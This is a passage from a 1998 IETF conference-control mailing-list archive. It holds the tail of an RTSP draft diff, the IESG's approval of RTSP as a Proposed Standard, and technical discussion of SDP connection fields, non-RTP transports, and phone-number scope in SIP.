       C->M: PAUSE rtsp://foo/twister RTSP/1.0
             CSeq: 6
!            Session: 12345678
  
       M->C: RTSP/1.0 200 OK
             CSeq: 6
!            Session: 12345678
  
       C->M: SETUP rtsp://foo/twister RTSP/1.0
             CSeq: 7
***************
*** 3275,3287 ****
  
       M->C: RTSP/1.0 200 OK
             CSeq: 91
!            Session: 508876
             Transport: RTP/AVP;multicast;destination=224.0.1.11;
                        port=21010-21011;mode=record;ttl=127
  
       C->M: SETUP rtsp://server.example.com/meeting/videotrack RTSP/1.0
             CSeq: 92
!            Session: 508876
             Transport: RTP/AVP;multicast;destination=224.0.1.12;
                        port=61010-61011;mode=record;ttl=127
  
--- 3316,3328 ----
  
       M->C: RTSP/1.0 200 OK
             CSeq: 91
!            Session: 50887676
             Transport: RTP/AVP;multicast;destination=224.0.1.11;
                        port=21010-21011;mode=record;ttl=127
  
       C->M: SETUP rtsp://server.example.com/meeting/videotrack RTSP/1.0
             CSeq: 92
!            Session: 50887676
             Transport: RTP/AVP;multicast;destination=224.0.1.12;
                        port=61010-61011;mode=record;ttl=127
  
***************
*** 3292,3298 ****
  
       C->M: RECORD rtsp://server.example.com/meeting RTSP/1.0
             CSeq: 93
!            Session: 508876
             Range: clock=19961110T1925-19961110T2015
  
       M->C: RTSP/1.0 200 OK
--- 3333,3339 ----
  
       C->M: RECORD rtsp://server.example.com/meeting RTSP/1.0
             CSeq: 93
!            Session: 50887676
             Range: clock=19961110T1925-19961110T2015
  
       M->C: RTSP/1.0 200 OK
***************
*** 3482,3488 ****
  ##REMOVEME
       PLAY rtsp://foo.com/movie RTSP/1.0
       CSeq: 559
!      Session: 12345
  ##REMOVEME
     will have an effect on the states of movie/audio and movie/video.
  ##REMOVEME
--- 3523,3529 ----
  ##REMOVEME
       PLAY rtsp://foo.com/movie RTSP/1.0
       CSeq: 559
!      Session: 12345678
  ##REMOVEME
     will have an effect on the states of movie/audio and movie/video.
  ##REMOVEME
***************
*** 3527,3533 ****
     state, as listed above. Receiving a REDIRECT from the server is
     equivalent to receiving a 3xx redirect status from the server.
  
- 
     state       message sent     next state after response
     Init        SETUP            Ready
                 TEARDOWN         Init
--- 3568,3573 ----
***************
*** 3587,3593 ****
     success response (2xx). If a request results in a status code of 3xx,
     the state becomes Init. A status code of 4xx results in no change.
  
- 
       state           message received  next state
       Init            SETUP             Ready
                       TEARDOWN          Init
--- 3627,3632 ----
***************
*** 3862,3876 ****
  
     A client implementation MUST be able to do the following :
  
!      * Generate the following requests :
!        SETUP, TEARDOWN, and one of PLAY (i.e., a minimal playback client)
!        or RECORD (i.e., a minimal recording client). If RECORD is
!        implemented, ANNOUNCE must be implemented as well.
!      * Include the following headers in requests:
!        CSeq, Connection, Session, Transport. If ANNOUNCE is implemented,
!        the capability to include headers Content-Language,
!        Content-Encoding, Content-Length, and Content-Type should be as
!        well.
       * Parse and understand the following headers in responses: CSeq,
         Connection, Session, Transport, Content-Language,
         Content-Encoding, Content-Length, Content-Type. If RECORD is
--- 3901,3914 ----
  
     A client implementation MUST be able to do the following :
  
!      * Generate the following requests: SETUP, TEARDOWN, and one of PLAY
!        (i.e., a minimal playback client) or RECORD (i.e., a minimal
!        recording client). If RECORD is implemented, ANNOUNCE must be
!        implemented as well.
!      * Include the following headers in requests: CSeq, Connection,
!        Session, Transport. If ANNOUNCE is implemented, the capability to
!        include headers Content-Language, Content-Encoding,
!        Content-Length, and Content-Type should be as well.
       * Parse and understand the following headers in responses: CSeq,
         Connection, Session, Transport, Content-Language,
         Content-Encoding, Content-Length, Content-Type. If RECORD is
***************
*** 4121,4129 ****
            resource locators (URL),'' RFC 1738, Internet Engineering Task
            Force, Dec. 1994.
  
!    21     F. Yergeau, ``Utf-8, a transformation format of iso 10646,''
!           Request for Comments XXXX, Internet Engineering Task Force,
!           Jan. 1998.
  
     22     B. Braden, ``T/TCP - TCP extensions for transactions functional
            specification,'' RFC 1644, Internet Engineering Task Force,
--- 4159,4166 ----
            resource locators (URL),'' RFC 1738, Internet Engineering Task
            Force, Dec. 1994.
  
!    21     F. Yergeau, ``UTF-8, a transformation format of ISO 10646,''
!           RFC 2279, Internet Engineering Task Force, Jan. 1998.
  
     22     B. Braden, ``T/TCP - TCP extensions for transactions functional
            specification,'' RFC 1644, Internet Engineering Task Force,
***************
*** 4141,4147 ****
  
  Full Copyright Statement
  
!    Copyright (C) The Internet Society (1997). All Rights Reserved.
  
     This document and translations of it may be copied and furnished to
     others, and derivative works that comment on or otherwise explain it
--- 4178,4184 ----
  
  Full Copyright Statement
  
!    Copyright (C) The Internet Society (1998). All Rights Reserved.
  
     This document and translations of it may be copied and furnished to
     others, and derivative works that comment on or otherwise explain it

---
Rob Lanphier (robla@real.com)    Voice: (206)674-2322   Fax: (206)674-2699
RealNetworks:  http://www.real.com
RTSP Info:     http://www.real.com/rtsp
Firewall Info: http://www.real.com/firewall  

From confctrl-owner  Tue Feb  3 06:23:14 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA12984
	for confctrl-outgoing; Tue, 3 Feb 1998 06:23:14 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA12979
	for <confctrl@zephyr.isi.edu>; Tue, 3 Feb 1998 06:23:13 -0800 (PST)
Received: from ns.ietf.org (ietf.org [132.151.1.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA17915
	for <confctrl@isi.edu>; Tue, 3 Feb 1998 06:23:11 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ns.ietf.org (8.8.7/8.8.7a) with ESMTP id JAA01236;
	Tue, 3 Feb 1998 09:23:00 -0500 (EST)
Message-Id: <199802031423.JAA01236@ns.ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce@ns.ietf.org
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ns.ietf.org
Reply-to: Internet-Drafts@ns.ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-rtsp-09.txt,.ps
Date: Tue, 03 Feb 1998 09:22:59 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working 
Group of the IETF.

	Title		: Real Time Streaming Protocol (RTSP)
	Author(s)	: H. Schulzrinne, A. Rao, R. Lanphier
	Filename	: draft-ietf-mmusic-rtsp-09.txt,.ps
	Pages		: 98
	Date		: 02-Feb-98
	
   The Real Time Streaming Protocol, or RTSP, is an application-level
   protocol for control over the delivery of data with real-time
   properties. RTSP provides an extensible framework to enable
   controlled, on-demand delivery of real-time data, such as audio and
   video. Sources of data can include both live data feeds and stored
   clips. This protocol is intended to control multiple data delivery
   sessions, provide a means for choosing delivery channels such as UDP,
   multicast UDP and TCP, and provide a means for choosing delivery
   mechanisms based upon RTP (RFC 1889).
 
   This is a snapshot of the current draft which will become the next
   version of the ``official'' Internet Draft.

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-rtsp-09.txt".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-rtsp-09.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nis.garr.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ds.internic.net
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ds.internic.net.  In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-rtsp-09.txt".
	
NOTE:	The mail server at ds.internic.net can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID:	<19980202161823.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-rtsp-09.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-rtsp-09.txt";
	site="ds.internic.net";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19980202161823.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Fri Feb  6 09:38:37 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA09289
	for confctrl-outgoing; Fri, 6 Feb 1998 09:38:37 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA09283
	for <confctrl@zephyr.isi.edu>; Fri, 6 Feb 1998 09:38:35 -0800 (PST)
Received: from ns.ietf.org (ietf.org [132.151.1.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA21075;
	Fri, 6 Feb 1998 09:38:33 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ns.ietf.org (8.8.7/8.8.7a) with ESMTP id MAA09977;
	Fri, 6 Feb 1998 12:38:30 -0500 (EST)
Message-Id: <199802061738.MAA09977@ns.ietf.org>
To: IETF-Announce: ;
Cc: RFC Editor <rfc-editor@ISI.EDU>
Cc: Internet Architecture Board <iab@ISI.EDU>
Cc: confctrl@ISI.EDU
From: The IESG <iesg-secretary@ns.ietf.org>
Subject: Protocol Action: Real Time Streaming Protocol (RTSP) to
	 Proposed Standard
Date: Fri, 06 Feb 1998 12:38:30 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



The IESG has approved the Internet-Draft Real Time Streaming Protocol
(RTSP) <draft-ietf-mmusic-rtsp-09.txt> as a Proposed Standard.  This
document is the product of the Multiparty Multimedia Session Control
Working Group.  The IESG contact persons are Allyn Romanow and Scott
Bradner.

 
Technical Summary
 
The Real Time Streaming Protocol (RTSP) is a client-server
application-level protocol for controlling the delivery of data with
real-time properties. It establishes and controls either a single or
several time-synchronized streams of continueous media, such as audio
and video. It uses transport protocols such as UDP, multicast UDP,
TCP, and RTP to deliver the continuous streams. In other words, RTSP
acts as a "network remote control" for multimedia servers.  Sources of
data can include both live data feeds and stored clips.


Working Group Summary

The history of the RTSP protocol within the MMUSIC WG is generally
considered to be an example the IETF process working well.

Netscape and Real Networks brought to the MMUSIC WG a protocol called RTSP.
Henning Schulzrinne proposed RTSP', which was more consistent with
ongoing IETF efforts, SIP and HTTP.  Both RTSP drafts were presented at the
San Jose IETF Jan 1996.  At this time the authors of the two drafts
agreed to work together to produce a merged RTSP spec.

The merged spec was discussed at the Memphis IETF where there were
significant open issues, and a revised spec produced.  The revised
spec was discussed at the Munich IETF where the open issues were much
fewer.  These remaining open issues were addressed in another spec.
This underwent an interoperability testing in the fall, and a further
revised spec underwent WG last call.  A few remaining minor issues
were found, and addressed in November 1997.

Protocol Quality

This protocol has been reviewed for the IETF by Allyn Romanow.

There has been a fair amount of implementation of RTSP. A reference
implementation exists. The following companies have implementations:
Netscape, IBM, Apple, Sun, Columbia, RealMedia. There have been
efforts to do interoperability testing.


From confctrl-owner  Wed Feb 11 02:55:39 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA21614
	for confctrl-outgoing; Wed, 11 Feb 1998 02:55:39 -0800 (PST)
Received: from quark.isi.edu (quark.isi.edu [128.9.208.208])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA21605
	for <confctrl@zephyr.isi.edu>; Wed, 11 Feb 1998 02:55:38 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by quark.isi.edu (8.8.7/8.8.6) with SMTP id CAA13685
	for <confctrl@isi.edu>; Wed, 11 Feb 1998 02:55:36 -0800 (PST)
Received: from eucharisto.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.10068-0@bells.cs.ucl.ac.uk>; Wed, 11 Feb 1998 10:55:23 +0000
To: confctrl@ISI.EDU
Subject: c= fields in SDP
Date: Wed, 11 Feb 1998 10:55:03 +0000
Message-ID: <1117.887194503@cs.ucl.ac.uk>
From: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

The current SDP draft (draft-ietf-mmusic-sdp-06) has the requirement that a
"c=" field must be present in each session description. Normally this makes
sense, since one would not want to describe a session with no connection
details. 

I can think of one occasion where this could be useful: if we have a
multicast address allocator which does not permit for advance address
allocation, yet wish to advertise multicast sessions in advance of their
start time. A simple solution to this would be to advertise the session
with no "c=" field, and closer to the session start time, when an address
has been allocated, send out a modified announcement with the complete
description. A session description with no "c=" fields would mean "this
session will occur, check again for more details".

Currently this is forbidden. Is it a sensible thing to allow?

Colin

From confctrl-owner  Fri Feb 13 11:32:41 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA09630
	for confctrl-outgoing; Fri, 13 Feb 1998 11:32:41 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA09625
	for <confctrl@zephyr.isi.edu>; Fri, 13 Feb 1998 11:32:39 -0800 (PST)
Received: from sgi.sgi.com (SGI.COM [192.48.153.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id LAA19883
	for <confctrl@ISI.EDU>; Fri, 13 Feb 1998 11:32:37 -0800 (PST)
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id LAA14005
	for <@sgi.engr.sgi.com:confctrl@ISI.EDU>; Fri, 13 Feb 1998 11:32:36 -0800
	env-from (kordale@relic.engr.sgi.com)
Received: from relic.engr.sgi.com (relic.engr.sgi.com [199.74.38.43]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id LAA14031 for <@cthulhu.engr.sgi.com:confctrl@ISI.EDU>; Fri, 13 Feb 1998 11:32:36 -0800
Received: (from kordale@localhost) by relic.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id LAA05738 for confctrl@ISI.EDU; Fri, 13 Feb 1998 11:32:35 -0800
From: "Ram Kordale" <kordale@relic.engr.sgi.com>
Message-Id: <9802131132.ZM5736@relic.engr.sgi.com>
Date: Fri, 13 Feb 1998 11:32:35 -0800
X-Mailer: Z-Mail (3.2.3 08feb96 MediaMail)
To: confctrl@ISI.EDU
Subject: Non-RTP transport in RTSP
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Does any one why no provision was made to use a non-RTP
data transport. For example, how about plain UDP or ATM/AAL5?
I did not see any discussion on this in the archives (that I had
access to).

Thanks.
Ram

-- 
Ram Kordale

From confctrl-owner  Fri Feb 13 14:28:56 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA17495
	for confctrl-outgoing; Fri, 13 Feb 1998 14:28:56 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA17490
	for <confctrl@zephyr.isi.edu>; Fri, 13 Feb 1998 14:28:54 -0800 (PST)
Received: from mail-gw2.pacbell.net (mail-gw2.pacbell.net [206.13.28.53])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA00816
	for <confctrl@ISI.edu>; Fri, 13 Feb 1998 14:28:53 -0800 (PST)
Received: from anup-sid (ppp-206-170-5-162.rdcy01.pacbell.net [206.170.5.162]) by mail-gw2.pacbell.net (8.8.8/8.7.1+antispam) with SMTP id OAA24822; Fri, 13 Feb 1998 14:28:49 -0800 (PST)
Message-ID: <34E4C954.6099@pacbell.net>
Date: Fri, 13 Feb 1998 14:29:40 -0800
From: Anup Rao <anup_rao@pacbell.net>
Reply-To: anup_rao@technologist.com
X-Mailer: Mozilla 3.01C-PBWG  (Win95; U)
MIME-Version: 1.0
To: Ram Kordale <kordale@relic.engr.sgi.com>
CC: confctrl@ISI.EDU
Subject: Re: Non-RTP transport in RTSP
References: <9802131132.ZM5736@relic.engr.sgi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Ram Kordale wrote:
> 
> Does any one why no provision was made to use a non-RTP
> data transport. For example, how about plain UDP or ATM/AAL5?

What exactly do you mean when you say  "no provision has been made" ?
The Transport header may any specifier for the type of transport, not
only "RTP/AVP/UDP" or "RTP/AVP/TCP". It is true that nothing else has
been specified *at this point* in the standard, and I am guessing that
is what you mean. 

As far as UDP/IP is concerned, there was a fair bit of discussion on
having something over UDP that was not RTP(Some of this happened at the
San Jose IETF and therefore may not be available in the archives).This
was decided against for the following reasons:-

-RTP is a standard, and does a lot of media-independant things that are
necessary in such an operating environment(such as sequence numbering
and timestamps). The overhead is not really significant.
-RTP,  the associated AVP profile spec. and the SDP spec  specify an
end-end solution ie. codec type, parameters, transport and control.
Plain UDP does not.


If you have a need for such a thing as plain UDP(where the data packets
themselves are  descriptive enough for lossy environments), then you
have 2 options :
-Go ahead use it with a transport identifier such as POUDP(plain ol
udp). ie.
Transport: POUDP/POUDP/UDP or such.
-Use it as above, but pursue standardization and public acceptance as
well.


No one expressed an immediate need for AAL5/ATM as far as I can
remember. The protocol is very extensible in this regard - adding a new
transport type is simple, I would say that choosing the transport type
is  one of the main things RTSP does. I guess you still have the above
two options, with the second being preferable. 

-Anup.

From confctrl-owner  Mon Feb 16 02:24:54 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA23237
	for confctrl-outgoing; Mon, 16 Feb 1998 02:24:54 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA23232
	for <confctrl@zephyr.isi.edu>; Mon, 16 Feb 1998 02:24:53 -0800 (PST)
Received: from jupiter.iwatsu.co.jp (jupiter.iwatsu.co.jp [202.225.23.33])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id CAA20949
	for <confctrl@isi.edu>; Mon, 16 Feb 1998 02:24:50 -0800 (PST)
Received: from moon.iwatsu.co.jp iwatsu.co.jp(by jupiter.iwatsu.co.jp (8.7.3/3.4W2iwatsu-MX01) with ESMTP id TAA07208 for <confctrl@isi.edu>; Mon, 16 Feb 1998 19:25:01 +0900 (JST)
Received: from ioa01.iwatsu.co.jp (localhost [127.0.0.1]) by moon.iwatsu.co.jp (8.7.4/3.4W2-moonMX01) with ESMTP id KAA12365 for <confctrl@isi.edu>; Mon, 16 Feb 1998 10:22:39 GMT
Received: (from root@localhost) by ioa01.iwatsu.co.jp (8.7.6+2.6Wbeta7/3.5Wpl1-algw) id TAA24317 for confctrl@isi.edu; Mon, 16 Feb 1998 19:22:48 +0900 (JST)
Received: by algw.iwatsu.co.jp; Mon, 16 Feb 98 19:22:43 +0900
Original-Encoded-Information-Types: Undefined
Priority: normal
Message-Id: <0002008162000321006600000855@algw.iwatsu.co.jp>
Subject: Comment on SIP
Date: Mon, 16 Feb 98 19:22:43 +0900
From: takagih@iwatsu.co.jp
To: confctrl@ISI.EDU
X-Mailer: StarOffice_MHSLink[R2.1]
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="MimeMultipartBoundary"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--MimeMultipartBoundary
Content-Type: Text/Plain; Charset=ISO-2022-JP

Dear Authors of SIP,

I have worked for Iwatsu electric in Japan.
The company is a Japanese manufacture that produces
PBXs, test and measurement instruments and others.
I belong to CTI engineering department of the company,
and have developed CTI relational software.

I read your internet draft named "SIP:Session Initiation
Protocol" and I have some comments on that.

Q 1.
On page 49 and 50 there are some PSTN phone addresses that
I think they use a notation defined in a working phase draft 
called "URLs for telephony".
But the directive, "phone" is different from the draft and
they have additional descriptions such like "service=", 
"mobility="...
Do they use a different notation from the draft. If so, could
you name the specification(s).

Q 2.
If the answer of Q 1 is using a different or modified specification,
is it possible for you to add a new parameter to the specification ?

The parameter is "scope=" that specifies the valid scope of 
the phone number.

The following is the usage of this parameter.
If the scope is extension, the number can be reached from
a local PBX, i.e. the number is a PBX extension number.
If the scope is global or the parameter is omitted, the number can be
reached from any PSTN network, i.e. the number is an international number 
in ITU Recommendation E.123.

If the destination cannot be reached via computer network, dialing the
extension number is a good alternative method, if it can be used.

P.S.
Recently I have worked on a project that is something to do with
a telephone dialer.
The dialer can dial a telephone number which is in an attachment file
of a e-mail.
A way to call the sender of the e-mail is to simply double click the attachment
file, if the mailer is Microsoft Internet Mail and maybe other mailers require 
the same operation.
Our intention is that those attachment files use the SIP syntax.
This is very convenient for those who get a SIP OPTION response.
Because they use the same destination information for Internet phone and e-mail.
Our Idea is that the information can be at least converted automatically.

I asked the same question about the scope to Vaha-Sipila, but
I was replied that my asking is valid but the draft cannot be modified.
Please refer the following quotations.

Any comments on our idea are also solicited.

Best Regards,

+-----------------------------------------------+
 Hiroaki Takagi
 Iwatsu Electric Co., Ltd.
 CTI Engineering Dept.

 Address: 7-41, Kugayama 1-Chome Suginami-ku, 
          Tokyo, Japan
 Phone:  +81-3-5370-5239 FAX:+81-3-5370-5477
 Email:  takagih@iwatsu.co.jp
+-----------------------------------------------+

The following is an e-mail I sent to the author of 
"URLs for telephony".
-------------------QUOTE --------------------------
Dear Antti,

I have worked for Iwatsu electric in Japan.
The company is a Japanese manufacture that produces
PBXs, test and measurement instruments, and others.
I belong to CTI engineering department of the company,
and have developed CTI relational software.

I read your internet draft named URLs for telephony,
and have some comments on that.

local-phone-number on page 3, fax-local-phone on page 4 
and the relational example on page 7 have ambiguity.
Because the valid scope of this number is undefined.

Some can dial this number to reach the destination
successfully, but others cannot. It depends on their telephone
environment.

In order to let users or software know whether this local number
is valid for their environment or not, the number should have 
a valid scope range.

But I understand that defining the scope range is very difficult.
Because telephone networks are very complex and not systematically configured.
The definition might be just a clue that cannot completely specify the range.

Here are some local scopes.
(1) no country code.
(2) no country code nor area code(local phone call).
(3) a PBX extension number(includes VPN).

Here are possible solutions.
(1) use country name.
(2) use ,say city name or etc.
(3) use ,say company name.

I think this is still very difficult for a machine including software to 
correctly determine any time its environment is in the scope or not.
But chances that people can say it is very much.

So local-phone-number would be something like

local-phone-number = 1*(phonedigit... scope
scope = ";scope=" anychar
anychar = 1*(alphanumeric character)

An example of local-phone-number would be

telephone:1234;scope=ACME SOFTWARE
telephone:0353705239;scope=japan

I think this works better than old one.
Thank you for your consideration in advance.

Regards,

+-----------------------------------------------+
 Hiroaki Takagi
 Iwatsu Electric Co., Ltd.
 CTI Engineering Dept.

 Address: 7-41, Kugayama 1-Chome Suginami-ku, 
          Tokyo, Japan
 Phone:  +81-3-5370-5239 FAX:+81-3-5370-5477
 Email:  takagih@iwatsu.co.jp
+-----------------------------------------------+

---------------- UNQUOTE -----------------------

The following is the reply for my e-mail.

---------------- QUOTE -------------------------
Dear Hiroaki Takagi,

Thanks for your comments. Your comments are valid, and the scope of the
phone number is indeed ambiguous. However, this has been discussed
previously on some mailing lists (namely IETF-FAX, the mailing list of
Fax-over-Internet working group). The consensus was that if the phone
number is to be written in local notation, it is the URL writer's
responsibility to make sure that the nobody that does not know the scope
has access to that URL.

The draft exclipitly encourages the use of international notation.

The local phone number scheme was added later because the "phone numbers
in mail addresses" draft from IETF-FAX had it, and the notation I use is
similar to that. It is very probable that I cannot make any
modifications to my proposal any more as the fax addressing draft has
already been frozen, and my draft was supposed to mirror the fax
addressing proposal very closely.

As you pointed out, it is very hard for the computer to determine
whether it is in the correct scope or not. This is why I think that it
would be easier to include this information (if required) in
human-readable form somewhere close the URL, like this:

My phone number is <a href="telephone:0011223344">0011223344</a>, from
inside Foobar Industries, Inc.

Another problem with computer-readable scope information is that the
scope should eventually be some form of unambigous reference to the
company/country/etc., and assigning object identifiers to every living
and non-living entity has been proved to be very hard (I refer to X.500
directories).

But, thanks for your input. I think I will add a word of warning about
the use of local telephone numbers in the next version of the draft.

Best Regards,

Antti

---------------- UNQUOTE -----------------------
--MimeMultipartBoundary--

From confctrl-owner  Mon Feb 16 06:49:22 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA25364
	for confctrl-outgoing; Mon, 16 Feb 1998 06:49:22 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA25359
	for <confctrl@zephyr.isi.edu>; Mon, 16 Feb 1998 06:49:21 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA26807
	for <confctrl@ISI.EDU>; Mon, 16 Feb 1998 06:49:20 -0800 (PST)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id JAA11990; Mon, 16 Feb 1998 09:49:18 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id JAA26643; Mon, 16 Feb 1998 09:49:12 -0500 (EST)
Message-ID: <34E851E7.8C8DEF94@cs.columbia.edu>
Date: Mon, 16 Feb 1998 09:49:11 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: takagih@iwatsu.co.jp
CC: confctrl@ISI.EDU
Subject: Re: Comment on SIP
References: <0002008162000321006600000855@algw.iwatsu.co.jp>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

takagih@iwatsu.co.jp wrote:
> 
> Dear Authors of SIP,
> 

> Q 1.
> On page 49 and 50 there are some PSTN phone addresses that
> I think they use a notation defined in a working phase draft
> called "URLs for telephony".
> But the directive, "phone" is different from the draft and
> they have additional descriptions such like "service=",
> "mobility="...

I looked at
ftp://ds.internic.net/internet-drafts/draft-antti-telephony-url-03.txt
and did not find any reference to "service" or "mobility". I assume you
are thus referring to the SIP draft. These modifiers are (now more
clearly...) *not* part of the URL, but part of the Location header and
described in the "Call Control" SIP extensions draft.

> Do they use a different notation from the draft. If so, could
> you name the specification(s).

The intent is to align phone number notation as much as possible with
other ongoing IETF work; thanks for pointing out the discrepancy. 

Some of the things contained in the URL are part of the Location header
in the "Call Control" draft. Our intent was to keep the phone URL to
what's necessary to make a phone call, rather than describe the service
completely, that being the job of other protocols. (One reason not to
include this in the URL is that classifications such as business and
home are of interest for all kinds of URLs, including H.323, SIP,
possibly even email and web pages. This blurs the distinction between a
"locator" and descriptor (URC). Another reason is that it makes URLs too
long and it becomes unclear as to whether one has to specify all of it
to actually make the phone call.)

> 
> Q 2.
> If the answer of Q 1 is using a different or modified specification,
> is it possible for you to add a new parameter to the specification ?
> 
> The parameter is "scope=" that specifies the valid scope of
> the phone number.
> 
> The following is the usage of this parameter.
> If the scope is extension, the number can be reached from
> a local PBX, i.e. the number is a PBX extension number.
> If the scope is global or the parameter is omitted, the number can be
> reached from any PSTN network, i.e. the number is an international number
> in ITU Recommendation E.123.
> 
> If the destination cannot be reached via computer network, dialing the
> extension number is a good alternative method, if it can be used.

One of the greatest weaknesses of the phone numbering system is that
phone numbers are not source-independent, i.e., depending on where I am,
I need to dial different numbers to reach a location or, conversely,
that a number which is valid from location X is not valid from location
Y. (Example: In Atlanta, you have to dial the area code for local
numbers, but you are not allowed to dial the 1. Try convincing the
Windows'95 dialer of that...)

I thus agree with Antti Vaha-Sipila's reasoning that including scoped
numbers is (a) a bad ideas, (b) if it has to be done, cannot be
automated in any meaningful way. "Local" has very little meaning on the
Internet, as it is quite likely that web pages, for example, don't have
the same locality as phone numbers.

Unless there is a strong reason not to do this, I would much rather
force all phone numbers in SIP to be global (that is, full E.164) and
let the PBX figure out that this is a local number (trivial, by
comparing the prefix) and strip any numbers not needed for dialing.

Henning

From confctrl-owner  Tue Feb 17 06:06:25 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA01365
	for confctrl-outgoing; Tue, 17 Feb 1998 06:06:25 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA01360
	for <confctrl@zephyr.isi.edu>; Tue, 17 Feb 1998 06:06:23 -0800 (PST)
Received: from sable.nus.sg (sable.nus.edu.sg [137.132.1.21])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA04513
